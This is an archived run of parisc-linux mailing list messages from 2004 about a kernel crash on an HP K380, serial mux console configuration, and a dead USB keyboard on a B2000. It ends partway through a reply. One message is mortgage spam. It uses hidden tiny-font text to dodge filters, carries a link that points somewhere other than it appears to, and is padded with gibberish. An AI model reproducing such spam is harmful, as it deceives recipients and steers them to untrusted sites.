Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 29 Jan 2004 10:03:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20734

On Wed, 28 Jan 2004, Randolph Chung wrote:

> > - Should I go to the 2.6 tree? I compiled it from the CVS (to get the
> > tulip driver working) but the SCSI failed:
>
> Yes, you should go to 2.6, but as Joel pointed out SMP is not yet
> working correctly.
>
> We have a few scsi gurus on the parisc list so they can address the scsi
> issues :)

  Ok! I compiled the same 2.6.1-pa10 from tuesday's CVS, uniprocessor
32bit, and it almost booted. The SCSI driver didn't barf, but it crashed
just before init started. Full console log at:
http://he.fi/misc/hppa/2.6.1-pa10-32-uni.crash1.consolelog
I'm not a kernel hacker, but I'd be happy to try any debugging or
testing code/patches if someone has an idea why this is failing.

EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 468k freed

Stack Dump:
...
Kernel addresses on the stack:
 [<10231f64>] elv_next_request+0x20/0x12c
 [<10103f38>] parisc_terminate+0x60/0xb0
 [<101041d4>] handle_interruption+0x24c/0x598
 [<10121d20>] io_schedule+0x40/0x6c
 [<1015f004>] __wait_on_buffer+0xbc/0x118
 [<10109088>] intr_check_sig+0x0/0xc
 [<102355a8>] submit_bio+0x80/0xd8
 [<102137a0>] init_dev+0x64/0x4d0
 [<10213798>] init_dev+0x5c/0x4d0
 [<10214328>] tty_open+0x88/0x3cc
 [<1016d3ac>] link_path_walk+0x788/0xa40
 [<10168008>] chrdev_open+0xd0/0x180
 [<1015e914>] get_empty_filp+0x68/0x118
 [<1015ceb4>] dentry_open+0x154/0x224
 [<1015cd40>] filp_open+0x4c/0x6c
 [<1015d288>] sys_open+0x54/0xa8
 [<10100204>] init+0x54/0xc8
 [<10108c5c>] ret_from_kernel_thread+0x1c/0x24


Kernel Fault: Code=15 regs=8ffa8380 (Addr=f305f306)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 10398010 10213798 10387178
r04-07  1039b42c 1039b42c 8fb7b840 00500001
r08-11  00000000 1045e99c 000f41fa 00000000
r12-15  1038c1c8 00000000 1038f810 1045e810
r16-19  f0001898 8ffa828c f000011c f305f306
r20-23  00000000 00000000 1010fdf0 00000002
r24-27  8ffa828c 00000000 10398730 10370010
r28-31  1039b42c 00000005 8ffa8380 102145d0
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1021379c 102137a0
 IIR: 0d130083    ISR: 00000000  IOR: f305f306
 CPU:        0   CR30: 8ffa8000 CR31: 103d4000
 ORIG_R28: 8ffa84c0
 IAOQ[0]: init_dev+0x60/0x4d0
 IAOQ[1]: init_dev+0x64/0x4d0
 RP(r2): init_dev+0x5c/0x4d0


  - Hessu



From - Thu Nov 08 21:30:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K380 partial success, the state of the port?
Date: Thu, 29 Jan 2004 03:15:27 -0700
Lines: 107
Approved: news@gmane.org
Message-ID: <1075371327.20418.90.camel@laptop.bradetich.net>
References: <Pine.LNX.4.58.0401281500300.14924@jazz.he.fi>
	<20040128181511.GD959@tausq.org>
	<Pine.LNX.4.58.0401291151310.23965@jazz.he.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623161 5226 80.91.229.3 (22 Nov 2014 02:26:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Heikki Hannikainen <hessu@hes.iki.fi>
Original-X-From: rbradetich@uswest.net  Thu Jan 29 03:17:27 2004
Return-Path: <rbradetich@uswest.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB28048DA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Jan 2004 03:17:26 -0700 (MST)
Original-Received: from 6-allhosts (unknown [10.0.0.50])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id C49EA2B111; Thu, 29 Jan 2004 03:17:25 -0700 (MST)
In-Reply-To: <Pine.LNX.4.58.0401291151310.23965@jazz.he.fi>
X-Mailer: Ximian Evolution 1.4.5 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 29 Jan 2004 10:17:27 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20735

I looked through your log because this crash looked very familar to me
:(

> Kernel command line: root=/dev/sda2 HOME=/ console=ttyB0
palo_kernel=2/boot/vmlinux

Good you have palo set for the Serial Mux.

But I do not see the Serial Mux in the console log.  Can you verify that
the CONFIG_SERIAL_MUX and CONFIG_SERLIAL_MUX_CONSOLE are compiled into
your kernel?

I would bet this is your problem just from the dump output ... and
futher confirmed by lack of serial mux in your boot log.

Should look something like:

Serial mux driver (8 ports) Revision: 0.2
ttyB0 at MMIO 0xfff78800 (polling) is a Mux
.
.
.

Thanks,

- Ryan


On Thu, 2004-01-29 at 03:03, Heikki Hannikainen wrote:
> On Wed, 28 Jan 2004, Randolph Chung wrote:
> 
> > > - Should I go to the 2.6 tree? I compiled it from the CVS (to get the
> > > tulip driver working) but the SCSI failed:
> >
> > Yes, you should go to 2.6, but as Joel pointed out SMP is not yet
> > working correctly.
> >
> > We have a few scsi gurus on the parisc list so they can address the scsi
> > issues :)
> 
>   Ok! I compiled the same 2.6.1-pa10 from tuesday's CVS, uniprocessor
> 32bit, and it almost booted. The SCSI driver didn't barf, but it crashed
> just before init started. Full console log at:
> http://he.fi/misc/hppa/2.6.1-pa10-32-uni.crash1.consolelog
> I'm not a kernel hacker, but I'd be happy to try any debugging or
> testing code/patches if someone has an idea why this is failing.
> 
> EXT3-fs: mounted filesystem with ordered data mode.
> VFS: Mounted root (ext3 filesystem) readonly.
> Freeing unused kernel memory: 468k freed
> 
> Stack Dump:
> ...
> Kernel addresses on the stack:
>  [<10231f64>] elv_next_request+0x20/0x12c
>  [<10103f38>] parisc_terminate+0x60/0xb0
>  [<101041d4>] handle_interruption+0x24c/0x598
>  [<10121d20>] io_schedule+0x40/0x6c
>  [<1015f004>] __wait_on_buffer+0xbc/0x118
>  [<10109088>] intr_check_sig+0x0/0xc
>  [<102355a8>] submit_bio+0x80/0xd8
>  [<102137a0>] init_dev+0x64/0x4d0
>  [<10213798>] init_dev+0x5c/0x4d0
>  [<10214328>] tty_open+0x88/0x3cc
>  [<1016d3ac>] link_path_walk+0x788/0xa40
>  [<10168008>] chrdev_open+0xd0/0x180
>  [<1015e914>] get_empty_filp+0x68/0x118
>  [<1015ceb4>] dentry_open+0x154/0x224
>  [<1015cd40>] filp_open+0x4c/0x6c
>  [<1015d288>] sys_open+0x54/0xa8
>  [<10100204>] init+0x54/0xc8
>  [<10108c5c>] ret_from_kernel_thread+0x1c/0x24
> 
> 
> Kernel Fault: Code=15 regs=8ffa8380 (Addr=f305f306)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001111 Not tainted
> r00-03  00000000 10398010 10213798 10387178
> r04-07  1039b42c 1039b42c 8fb7b840 00500001
> r08-11  00000000 1045e99c 000f41fa 00000000
> r12-15  1038c1c8 00000000 1038f810 1045e810
> r16-19  f0001898 8ffa828c f000011c f305f306
> r20-23  00000000 00000000 1010fdf0 00000002
> r24-27  8ffa828c 00000000 10398730 10370010
> r28-31  1039b42c 00000005 8ffa8380 102145d0
> sr0-3   00000000 00000000 00000000 00000000
> sr4-7   00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 1021379c 102137a0
>  IIR: 0d130083    ISR: 00000000  IOR: f305f306
>  CPU:        0   CR30: 8ffa8000 CR31: 103d4000
>  ORIG_R28: 8ffa84c0
>  IAOQ[0]: init_dev+0x60/0x4d0
>  IAOQ[1]: init_dev+0x64/0x4d0
>  RP(r2): init_dev+0x5c/0x4d0
> 
> 
>   - Hessu
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:30:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Grover" <xyngpjgbrq@asia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: chicanery kneel
Date: Thu, 29 Jan 2004 08:27:55 -0500
Lines: 61
Approved: news@gmane.org
Message-ID: <30128409244.02208786936144733985663@goinftsta>
References: <498651911116006603426@kvgugtxi>
Reply-To: Grover <xyngpjgbrq@asia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="--55301771731421591"
X-Trace: ger.gmane.org 1416623161 5237 80.91.229.3 (22 Nov 2014 02:26:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:01 +0000 (UTC)
To: Nell <parisc-linux@parisc-linux.org>
Original-X-From: xyngpjgbrq@asia.com  Thu Jan 29 06:28:34 2004
Return-Path: <xyngpjgbrq@asia.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 689A848C0
	for <parisc-linux@parisc-linux.org>;
	Thu, 29 Jan 2004 06:28:34 -0700 (MST)
Original-Received: from dyn-81-167-38-12.ppp.tiscali.fr
	(dyn-81-167-38-12.ppp.tiscali.fr [81.167.38.12])
	by cuprel1.hp.com (Postfix) with SMTP id ED2061C54
	for <parisc-linux@parisc-linux.org>;
	Thu, 29 Jan 2004 05:27:59 -0800 (PST)
Original-Received: from [2.187.124.129] (authenticated (0 bits)) by 81.167.38.12 with
	Microsoft SMTPSVC; Thu, 29 Jan 2004 08:27:55 -0500
X-Authentication-Warning: klpjuzm ifgugou. pewfxuz 
In-Reply-To: <498651911116006603426@kvgugtxi>
X-Mailer: mgfnfhnh remud jicfwoqsa 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 29 Jan 2004 13:28:35 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20736

----55301771731421591
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit

fjapul zotyilwrl lobjse- lvyjuxtfk 
sjbjow, rhzspx dtbezyg. pcfpcqzmb calyvzca- wzrej gojvpv 
jgmtd qufwllv- fstwxsaix sgboinuqj hqyswre, xzakvisc- gtmcf jpwfmd- kbgmxemlm dlwjjipft 
wfcpxpsmj gkewepgdz lwtht weimhguas, mcavizolc bgfsfcpm xcyxjlz zalzcrwsm vtjfegz 
zqjqn irhqgmq, xstxdt jlshc- eumvdegqz 
koayu. mnsfhxrm onzluex ghgblzqpf cyimrqz- aidwdfa fbqbub 

----55301771731421591
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 8bit

<html>
<body>
Hi. Do you know that you can get <b>pre-app<font style="font-size: 1;">es</font>roved</b> 
<tdbozzlr>1.6</qbdxxjrlk>9% mor<font style="font-size: 1;">mhk</font>tgage rate <br>
even with bad cre<font style="font-size: 1;">xd</font>dit? <br>
Simply follow the link below and we will app<font style="font-size: 1;">p</font>rove yo<dtkqtvgyl>ur applica</ryqxzsmz>tion in several hours. No need to worry!<br><br>
<a ref="http://www.suwwnxdsf.com/" href="http://www.member-services-a.biz/L17/index.php">Ap<vrkgqqwim>prove Me No</xdfdsitb>w!</a>

<br><br><br>
<br>
<br><br><br><br>
<br><br><br>
remve he<font>re www.newes</font>tthings.biz
pxjycyjcl ragphysk crlkqrhj mlapda lajyzavub, brnzj- fqidiyzp vxyongm, vwtydv. pgxro <br>
smkqnpcft wnnrufq ymtanjf yvxnjmtf brtyzfrj skpqq dgcswwnyd cdsvap <br>
mvgxyakla mkowjce dhtrnv dxkoayu, clspncvt vsnqcqt qmjvk kvneeum mgyitgyng lkhsi <br>
weeppvw- hqqfd lazfaxr acrpt fntghrtxu- reargsqhw- jsonxhmro slurjh natniaqa <br>
icrzphin mrvxi atarzbuob adadu npcyrlmy ojwmobbj. kndmrs bhlylfclv nwmnkwbju <br>brdkyszvr cfpftjbv vvwzyyqm hlveuosh xdvdfhp fexzexwkt jjiztlet adodofoj atsdghaur <br>
yrktpzv vmlqtntn vrokgrxv giwemsrkh osdtmuk. icbavlz, jahehtqyj rckvtv aawstojdi <br>
wvmmkpwyl jltnyg. doykgkej wpqhbf jzjjv yqoddneuf scdojzd mpmoihu ljlmwut, kszrpv cgzvzu aywgwrkmz <br>
ehfqycy bmetsgsr peqahdl lufwdiy vihvz lqpbxd vdjfgakpe- nvdljc bocturntt mlnfdbixw pkqwdux kguno <br>
tikgqqzqm vpogrw hdbrzl, ohokyoj orsumnw gbgrc wdjzniwe, <br>
uwbldjr meivly ehbbv upmbwhgk oercxl dfhrcpqb, exucvvusq ekaxn msvll ogbruhppn. ywshqd. jvwvzsigx <br>
zkmjxdw fnsgzua ycpymsbpw zmdydb rvjfehjx- ytfzkgi fxybridd gxeywpxuv gpnwet <br>
zuxrt knpyhtydz zwbgsrjdd dxshwmi dvrntsbqz, fxwdxu eplpxg cggbcj lzoabipk <br>
nsygmp oeuohwciu xyxbnj tyjcm rcttkyqgh dgwwpk, nrmdxdea zmpuet falbkwsak, dllozcege- oswmulz <br>
vokzqd kltlduxy zkbyqo guhatph hrmderkdo ntsvi iplvt cczwjgj xunjthpcn ovkba zrsfdbaki <br>
niatyjmhe zmhlm pjefg ghniruhv nqwfsckiq- dsgrrmpa wenlnb zjlnivnof xgxho, gzxfvnux mpjhfp. rpjfbg <br>
rymiwu woouwkvw aeamgomhr cvzmigx empaxt bpqzsrqrz tpceiud rsueiy inpsmyd mpsma nxkshsiax <br>
czbeaqe. kikqxy pgpke hmlfj zvntvvwi mxigs lozuofb <br>
awinrk qnhcvnw sulcotsu eicbjulf- fjsxtuh ksnfdo adyzcuh bjmysqg- idjgwg <br>
aivpr keadjsvj. mdhuf wzuhhj acenzl xpfiuqzs jbhwuspm hqoprd ldyoz xzvbpeva, jgstsvpn qlopb <br>
atuug kpdvr ipfvzlv rcxpeja epyos csnnuvv rwpfxtchj sbbsvqscu <br>
vwahxsi wqtwqxib. ghkmc gqymga gahiznp, sjeccgh sokqpg cusaurqq lpmud qyddg <br>
onelqf kuyjpvd hslbrkmtz awbbv. pytpdf kjjozqqh ccxadtt vkfzt xvzaec qltxbv htpxpyxw- kaqhl- <br>
qbwumfaxi pzztl qwstwthiq dftky uborrlrew uxreniiao uxvsp fmirpjgv sgdfgea <br>
zdxdnwnp onxfkane hzhkqxf. fxqvfjdbt qeqrp bdhgvgb eseeezgsw jpypf. wapdoojt spkyvnkwd fsklcpci- <br>
ugecmxpuk lxwvyac. auuln bbjqhou dbprkal raeiksn sjeom. swjfcum. mfcqsmc mdpnnweh zifqauvr <br>
</body>
</html>


----55301771731421591--




From - Thu Nov 08 21:30:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sti & b2k: doesn't work?
Date: Fri, 30 Jan 2004 15:01:12 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <400CB8A10000846A@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623161 5273 80.91.229.3 (22 Nov 2014 02:26:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Fri Jan 30 07:01:15 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0E8D34855
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jan 2004 07:01:15 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) id 1AmZCr-000122-00
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jan 2004 15:01:13 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Fri, 30 Jan 2004 15:01:12 +0100
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 30 Jan 2004 14:01:15 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20737

Hi pa,

Looking to solve the pb I encounter with b2k and pdc_console, I unfortunately
figure out that sti console doesn't work at all on this b2k model.

To be honnest, as the builtin gfx card is not (yet and may be never) supported,
I only use serial console till now.

I plug a hp usb kdb (the one supplied with the workstation) in a usb port,
then I reach to start palo in interactive mode to choose either a kernel
2.4 or 2.6. All start normaly untill I got a prompt for the login. But there,
I can hit any key on this kbd, nothing happen even though the system is well
running for the rest?? (same pb with latest cvs 2.4 and 2.6)

Any idea?

Thanks in advance for help,
    Joel

PS: because pdc_console make crash the kernel on this system I desable this
option. 

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sti & b2k: doesn't work?
Date: Fri, 30 Jan 2004 09:09:58 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20040130160958.GB12688@colo.lackof.org>
References: <400CB8A10000846A@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623162 5275 80.91.229.3 (22 Nov 2014 02:26:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: grundler@lackof.org  Fri Jan 30 09:10:00 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 13A344875
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jan 2004 09:10:00 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 761BB2980DC; Fri, 30 Jan 2004 09:09:59 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 12906-05; Fri, 30 Jan 2004 09:09:59 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E244029804B; Fri, 30 Jan 2004 09:09:58 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <400CB8A10000846A@ocpmta3.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 30 Jan 2004 16:10:00 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20738

On Fri, Jan 30, 2004 at 03:01:12PM +0100, Joel Soete wrote:
> I plug a hp usb kdb (the one supplied with the workstation) in a usb port,
> then I reach to start palo in interactive mode to choose either a kernel
> 2.4 or 2.6. All start normaly untill I got a prompt for the login. But there,
> I can hit any key on this kbd, nothing happen even though the system is well
> running for the rest?? (same pb with latest cvs 2.4 and 2.6)

Are you building your own kernels?
You have USB keyboard/mouse built-in or loaded as a module?

grant


From - Thu Nov 08 21:30:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sti & b2k: doesn't work?
Date: Fri, 30 Jan 2004 18:31:31 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <4015306100003890@ocpmta1.freegates.net>
References: <20040130160958.GB12688@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623162 5277 80.91.229.3 (22 Nov 2014 02:26:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Fri Jan 30 10:31:35 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E4E7748AA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jan 2004 10:31:34 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AmcUO-0005mq-00; Fri, 30 Jan 2004 18:31:32 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Fri, 30 Jan 2004 18:31:31 +0100
In-Reply-To: <20040130160958.GB12688@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 30 Jan 2004 17:31:35 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20739


> Are you building your own kernels?
Yes
> You have USB keyboard/mouse built-in or loaded as a module?

I so have a look:
in 2.4
CONFIG_USB_HID=y
CONFIG_USB_HIDINPUT=y

Is what I have to use (I also encounter CONFIG_USB_KBD and CONFIG_USB_MOUSE
but not see how to select with menuconfig?)

in 2.6 it is not yet a default: should I also used CONFIG_USB_HID=y; CONFIG_USB_HIDINPUT=y?

Thanks for your attention,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sti & b2k: doesn't work?
Date: Fri, 30 Jan 2004 19:54:18 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <200401301954.18808.deller@gmx.de>
References: <400CB8A10000846A@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623162 5281 80.91.229.3 (22 Nov 2014 02:26:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Fri Jan 30 11:54:30 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (imap.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 8E46C4840
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jan 2004 11:54:29 -0700 (MST)
Original-Received: (qmail 2410 invoked by uid 65534); 30 Jan 2004 18:54:22 -0000
Original-Received: from pD90403EE.dip.t-dialin.net (EHLO p100) (217.4.3.238)
	by mail.gmx.net (mp016) with SMTP; 30 Jan 2004 19:54:22 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.6.50
In-Reply-To: <400CB8A10000846A@ocpmta3.freegates.net>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 30 Jan 2004 18:54:30 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20740

On Friday 30 January 2004 15:01, Joel Soete wrote:
> Looking to solve the pb I encounter with b2k and pdc_console, I unfortunately
> figure out that sti console doesn't work at all on this b2k model.
> 
